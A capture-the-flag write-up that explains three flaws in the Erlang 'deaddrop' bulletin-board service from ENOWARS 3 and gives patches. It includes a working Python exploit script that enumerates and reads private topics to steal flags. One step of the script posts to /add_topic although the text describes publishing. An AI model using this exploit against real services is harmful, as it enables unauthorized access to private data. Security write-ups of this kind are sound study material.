Saarsec

saarsec

Schwenk and pwn

ENOWARS 3 WriteUp deaddrop

Deaddrop was a HTTP service written in Erlang. It models a simple bulletin board system, where users can create topics and reply to them. Topics can either be public or private (where users have to know their name to access them). Two logical flaws and a path traversal-like vulnerability allow attackers to list the private topics and steal data.

Service description

Deaddrop offers just the basic functionality of a bulletin board without fancy UI. In addition users could “subscribe” to topics using a websocket, to see past (“replay”) or future (“subscribe”) messages. There was no authentication in place, access is granted if the topic name is known. Private topics are just not listed. See the API description:

GET       /topics
PATCH     /add_topic (body: <topic-name>)
POST      /publish   (body: <topic-name>:<new-message>)
Websocket /subscribe (message: <method>:<topic-name>)  // methods: REPLAY or SUBSCRIBE

The storage was equally simple: A file topics.txt contains a list of all topic names, one per line. Private topics are prefixed with - , public topics may optionally be prefixed with + . For every topic there is a file <name>.txt which stores all messages written to that topic. Further published messages are appended. The initial message was All messages sent on topic: <topic-name>\n, or ** <message>\n for further messages.

The gameserver creates a new private topic every round and published the flags as a message to that topic.

Vulnerability 1: replay topics list

To get the flags, we have to first know the names of the private topics and then replay them using the websocket. All topic names are stored in the topics.txt.

Let’s take a look on how topic filenames are created in file_handler.erl:

retrieve_messages(Topic) ->
    FileName = Topic ++ ".txt",
    Path = get_priv_path(FileName),
    {ok, Binary} = file:read_file(Path),
    binary_to_list(Binary).

get_priv_path(FileName) ->
    % ...
    filename:join([Path, FileName]).

The topic file is PATH/<topic-name>.txt, without any filter on the topic name. If we could replay the topic named topics, we would get the content of this file. However, topics is not on the topics list. Let’s see where the topic list is loaded:

% file_handler.erl
retrieve_topics() ->
    FileName = "topics.txt",
    Path = get_priv_path(FileName),
    {ok, Binary} = file:read_file(Path),
    Topics = binary_to_list(Binary) ++ "- topics",
    string:tokens(Topics, "\n").

There is always a private topic called - topics present, even if not in the file. That prevents us from adding a new topic with that name, but allows us to replay the private topic - topics and read all private filenames. We can now open a websocket connection to /subscribe and use the command REPLAY:- topics to read the list of all topics, including private ones. That’s a trivial exploit, code is given below.

Vulnerability 2: Publish to topics

We already noticed that topics is always known as a private topic. We know its name, so we can just publish a message there (which is written to topics.txt). We publish (=write) \ntopics to - topics, so the topics list file ends up with a line suggesting that topics is now public (no - sign before the name) and a junk line. When looking for a topic, the service takes the first name it finds, and the - topics line is appended to the file, hence the injected line from the file is considered first. After this message has been published, we can just subscribe and replay to topics, get the list of all private topics and read them. Drawback of this attack: It’s clearly visible from the public topic list, and the public list can also be used by other teams.

Vulnerability 3: New topic path traversal

If we could create a new topic with name topics, it would be publicly readable and backed by the file topics.txt. However, there is a check in place to prevent this:

% add_topic_handler.erl
check_duplicate_topic(Topic) ->
    % get a list of all topics from topics.txt
    Topics = gen_event:call({global, file_handler}, file_handler, {topics}), 
    case lists:member(Topic, Topics) of
        true -> {ok, true};
        false -> {ok, false}
    end.

We can’t create a new topic with a name that already exists - and the private topic topics always exists. But the check is for equality, just exactly that name is blocked. We remember that the file belonging to a topic is PATH/<topic>.txt. No filtering is in place, we can mount a path traversal style attack.

We can simply use ./topics as topic name, which will result in the file PATH/./topics.txt, but has a different name than topics - we circumvented the lists:member check for existing topics. No data is deleted in this process, files are always appended. topics.txt now contains the line ./topics.txt (our public topic) and some junk (the initial messages for our new topic) which doesn’t matter. We can now open a websocket connection to /subscribe and use the command REPLAY:./topics to read the list of all topics, including private ones. We issue a replay on all private topics and get all flags stored in that service. Exploit code is given below. In fact, we could have used this vulnerability to read all files ending on .txt from the system.

Exploit code

import sys
import re
import requests
import websocket

def replay_topic(host, topic):
    ws = websocket.WebSocket()
    ws.connect("ws://{}:8080/subscribe".format(host))
    ws.recv()
    ws.send("REPLAY: {}".format(topic))
    data = ws.recv()
    ws.close()
    return data

team_id = sys.argv[1]
host = 'deaddrop.team{}.enowars.com'.format(team_id)

# 1. Read '- topics'
data = replay_topic(host, '- topics')
topics = re.findall(r'- [0-9a-f]{64}', data)

# 2. Publish \ntopics to topics
requests.post('http://{}:8080/add_topic'.format(host), data='topics:\ntopics', timeout=8)
data = replay_topic(host, 'topics')
topics += re.findall(r'- [0-9a-f]{64}', data)

# 3. Create topic ./topics
requests.request('PATCH', 'http://{}:8080/add_topic'.format(host), data='./topics', timeout=8)
data = replay_topic(host, './topics')
topics += re.findall(r'- [0-9a-f]{64}', data)

for topic in topics:
    print(topic, '=>', replay_topic(host, topic))

Patching the service

The first vulnerability can be fixed by preventing any replay on topics (just filter it). The second vulnerability can be removed by prepending - topics to the topic list, not appending it, or forbidding publish to topics. The third vulnerability can be fixed by filtering the topic names and remove dangerous characters (./ for example). On the other hand, all problems can be mitigated by renaming topics.txt to something without .txt extension, to prevent any collision between topic file and topics list, which was the solution we have chosen.

Conclusion

During the competition, we found the last vulnerability and exploited it successfully. After some time we got attacked with the second vulnerability but quickly patched it. We did not see anybody exploiting the first (and easiest) vulnerability, and just found it by accident when writing up.

Despite nobody of us knew Erlang we had fun with this service. Even without deeper language knowledge we could find our way towards our flags.